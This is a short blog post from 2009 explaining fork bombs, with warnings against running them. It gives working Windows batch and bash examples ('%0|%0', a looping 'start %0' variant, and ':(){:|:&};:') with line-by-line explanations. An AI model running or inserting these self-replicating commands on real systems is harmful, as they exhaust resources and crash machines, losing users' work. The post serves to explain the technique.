Fork Bombs
2009 Mar 27 12:21 PM MDT | Hacks9 Linux1 Programming18 Windows5 Windows-Advanced4 Windows-Basic1 [2009]3
_WARNING: Trying some of these can crash your system!_
I’ll explain a fork bomb to you in simple words:
A fork bomb duplicates itself, eventually killing and shutting the system down by overloading it.
Here are some explained examples:
Windows / Batch
REM Runs self twice and close
%0|%0
Human Readable Code:
Bomb|Bomb
Remove this bomb (end of execution).
Better Batch Fork Bomb:
:s
start %0
%0|%0
goto :s
Explanation
Start 3 instances of self and repeat
Human Readable:
Marker S
Bomb
Bomb|Bomb
Go to Marker S.
Unix Bash Code:
:(){:|:&};:
Reformated as:
:(){ # bomb(){
:|:& # bomb, bomb, and keep both of these in memory
}; # }
: # execute bomb()
_I hope you don't try any of these on your system, unless you want it to crash!_